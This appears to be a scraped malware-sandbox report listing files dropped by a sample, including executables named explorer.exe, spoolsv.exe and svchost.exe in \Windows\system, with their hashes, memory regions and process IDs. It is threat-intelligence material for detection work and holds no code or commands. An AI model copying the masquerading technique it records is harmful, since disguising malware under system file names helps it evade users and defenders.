9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
\Users\Admin\AppData\Local\Temp\gsuljn.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
\Users\Admin\AppData\Local\Temp\gsuljn.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
\Windows\system\explorer.exe

Filesize
206KB

MD5
3be1aad4075bbe9bf6fc96ab2e76f1b1

SHA1
bb65ace950c446e1a60318902f0056dd87515074

SHA256
f4842da46f07d145e90ddfdb23de86bea958cb6f1ce312982cffda067d4a92fe

SHA512
31baec1500e1c87ea372bf3a554882aac3a23fe1703516d2a0305e9cf82dfe6ff03f7abc9320c1c660d340cc736baf15ca88b016b7b00a6c5dca4aca2dee61e4

Download Submit
\Windows\system\explorer.exe

Filesize
206KB

MD5
3be1aad4075bbe9bf6fc96ab2e76f1b1

SHA1
bb65ace950c446e1a60318902f0056dd87515074

SHA256
f4842da46f07d145e90ddfdb23de86bea958cb6f1ce312982cffda067d4a92fe

SHA512
31baec1500e1c87ea372bf3a554882aac3a23fe1703516d2a0305e9cf82dfe6ff03f7abc9320c1c660d340cc736baf15ca88b016b7b00a6c5dca4aca2dee61e4

Download Submit
\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
\Windows\system\spoolsv.exe

Filesize
206KB

MD5
2300abc6f3b5b3ad99bfa007c6888dc2

SHA1
094078c6c266a2d3021e0e1cec3b49ee1da24933

SHA256
97a73e768a34fa1b8ff5b3942c875bf1d1c799718517f829dd71d55606b61d65

SHA512
f5315207eedf831b571b2e369c656972bc2b756121b8ccbb25f7a5f6a9225bb128593b31deab1bd0d86354d60b45afd1aa81915ea9584203d227cb9dc63174de

Download Submit
\Windows\system\svchost.exe

Filesize
206KB

MD5
db4110fc3d63d0baaaa59db19cb908ab

SHA1
06136eb65fe68543e676235edb847008ca727766

SHA256
4086a99997f44f9e067c25129474a759b29a2da72f997fea556e2c308b2340cc

SHA512
262493a100dddefcacdd5ac890c7a833a918c0e7d47f2a085065f630d5a41796a90fd184dd83c98fe9171d010d0956fe8f7b41dec204a161c9a64ed1714ae23c

Download Submit
\Windows\system\svchost.exe

Filesize
206KB

MD5
db4110fc3d63d0baaaa59db19cb908ab

SHA1
06136eb65fe68543e676235edb847008ca727766

SHA256
4086a99997f44f9e067c25129474a759b29a2da72f997fea556e2c308b2340cc

SHA512
262493a100dddefcacdd5ac890c7a833a918c0e7d47f2a085065f630d5a41796a90fd184dd83c98fe9171d010d0956fe8f7b41dec204a161c9a64ed1714ae23c

Download Submit
memory/468-131-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/940-105-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2020-135-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2020-107-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2192-127-0x0000000002DC0000-0x0000000002E00000-memory.dmp

Filesize
256KB

Download
memory/2448-69-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/2448-79-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/2448-77-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2448-75-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2448-76-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2448-61-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/2604-74-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2604-90-0x0000000002A30000-0x0000000002A70000-memory.dmp

Filesize
256KB

Download
memory/2604-134-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2936-72-0x0000000002D70000-0x0000000002DB0000-memory.dmp

Filesize
256KB

Download
memory/2936-28-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2936-70-0x0000000002D70000-0x0000000002DB0000-memory.dmp

Filesize
256KB

Download
memory/2936-80-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2980-13-0x0000000003520000-0x0000000003560000-memory.dmp

Filesize
256KB

Download
memory/2980-8-0x0000000003520000-0x0000000003560000-memory.dmp

Filesize
256KB

Download

pid	process
2936	GSULJN.exe
2420	gsuljn.exe
2604	icsys.icn.exe
940	explorer.exe
2020	spoolsv.exe
2192	svchost.exe
468	spoolsv.exe